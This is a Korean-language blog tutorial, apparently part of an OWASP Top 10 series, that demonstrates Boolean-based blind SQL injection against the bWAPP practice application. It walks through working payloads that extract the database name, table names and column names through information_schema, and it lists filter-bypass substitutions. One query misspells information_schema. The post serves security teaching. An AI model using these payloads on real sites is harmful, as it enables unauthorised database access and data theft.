Blind SQL 인젝션
쿼리의 결과를 참과 거짓만으로만 출력하는 페이지에서 사용하는 공격이다.
출력 내용이 참과 거짓 밖에 없어서 데이터베이스의 내용을 추측하여 쿼리를 조작한다.
1.Boolean Based
1. 싱글쿼터 ' 를 입력하여 SQL 인젝션이 가능한지 알아본다. SQL 인젝션 취약점이 있는 경우 SQL 오류 메시지를 출력한다.
이렇게 문법 오류가 탐지되었다는건 SQL 인젝션 공격이 가능하다는 것이다
이제 항상 참으로 만드는 쿼리를 삽입한다
SQL 인젝션 결과 해당 영화가 존재한다는 메시지를 출력하는데, 이는 결과가 참 일 때 웹 페이지에서 출력하는 메시지다.
이때 검색란을 통하여 Boolean Based SQL 인젝션 공격이 가능하다.
결과가 거짓일 때는 다른 결과가 나온다
이걸 확인해서 쿼리의 참과 거짓을 판별할 수 있다.
UNION SELECT 구문을 입력하면 SQL 문법이 틀리다는 메시지를 출력한다. SQL 문법 오류 메시지가 아닌 참인 메시지를 출력할 때 까지 칼럼 수를 늘려 입력한다.
그럼 ' UNION SELECT ALL 1,2,3,4,5,6,7# 총 7개의 칼럼을 넣어야만 오류가 나지 않는걸 확인할수 있다.
Blind SQL 인젝션에 사용할 쿼리는 항상 참이 되는 쿼리와 정보를 추출할 쿼리를 조합하여 입력한다.
'or 1=1 쿼리로 서버의 정상 쿼리와 연결한 뒤 length 함수와 substring 함수를 사용하여 데이터베이스 내용을 추측한다.
1.우선 length 함수를 사용하여 데이터 베이스 이름의 길이를 추측한다
'or 1=1 and length(database())=5# 5를 입력하자 참인 문구가 실행되는걸 보니 database() 의 길이는 5다
이제 글자를 확인해야하는데
'or 1=1 and substring(database(),1,1)='a'# (거짓)
'or 1=1 and substring(database(),1,1)='b'#(참)
쿼리 결과를 확인하면 database() 함수의 첫 글자가 b인걸 확인할수있다
다음 글자는
'or 1=1 and substring(database(),2,1)='a'#
'or 1=1 and substring(database(),2,1)='b'#
이렇게 값을 하나하나 입력해서 두번째 글자를 찾을수 있다
만약 ' 싱글쿼터가 필터링으로 막힌 경우에는
'or 1=1 and ascii(substring(database(),1,1))=98#
아스키 값을 입력해서 구할수 있다.
나온 아스키 코드 값들은 아스키 코드 표를 보고 하나하나 비교해도 괜찮고
mysql 내장함수에 있는 ascii 코드 함수를 사용해도 값을 비교할수있다
만약 ascii substring 모두 필터링을 당한경우
ascii 는 hex(),ord() 로 우회가 가능하고
substring 는 substr로 우회가 가능하다
우회 방법에 대해서는 대응방안을 설명하면서 다시 정리하겠다.
다음은 테이블 명의 길이를 알아내는 쿼리인데
MySQL 버전이 5 이상이므로 MySQL의 메타데이터인 information_schema를 사용한다. where 조건으로 테이블의 타입을 지정하면 information_schema에 있는 메타 데이터 저장용 테이블을 제외하게 된다.
limit 연산자로는 조건에 맞는 테이블 중 위에서부터 선택할 수 있다. 즉,다음 쿼리에서는 bWAPP 데이터베이스에 저장된 테이블 중 첫 번째 테이블 하나를 출력한다.
'or 1=1 and length((select table_name from infromation_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#
length로 함수의 길이가 4라는걸 알았고
ascii 함수와 substring 함수를 이용하여 한글자 한글자 확인할 수 있다
'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))<100#
첫 글자를 구하는 쿼리이다
이렇게 숫자를 정해서 하나하나 비교해 가다보면 (비교는 참,거짓 문구로 비교)
'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))=98#
98을 입력하니 참인 문구가 나왔다
이말은 table_name 의 첫번째 칼럼의 첫번째 이름의 ascii 코드 값이 98 즉 문자 b라는 소리이다
이렇게 처음 테이블 이름부터 하나하나 검색해 가다보면 네 번째 테이블이 user 라는 정보를 알게 된다
user 테이블 칼럼 명의 길이를 파악하기 위하여 다시 length 함수를 사용하고 limit 연산자로 첫 번째 칼럼으로 지정한다
'or 1=1 and length((select column_name from information_schema.columns where table_name='user' limit 0,1))=2#
길이가 2일때 참인 메시지를 출력한다
이제 ascii와 substr을 이용하여 값을 하나하나 구해주면 된다
'OWASP top 10 ' 카테고리의 다른 글
[A2] 인증 결함 -비밀번호 무차별 대입 공격 (0) | 2017.12.13 |
---|---|
[A2] 인증 결함 -안전하지 않은 로그인 형식 (0) | 2017.12.13 |
[A1] SQL 인젝션 (0) | 2017.12.03 |
[A1] SSI 코드 인젝션 (0) | 2017.12.02 |
[A1] PHP 코드 인젝션 (0) | 2017.12.02 |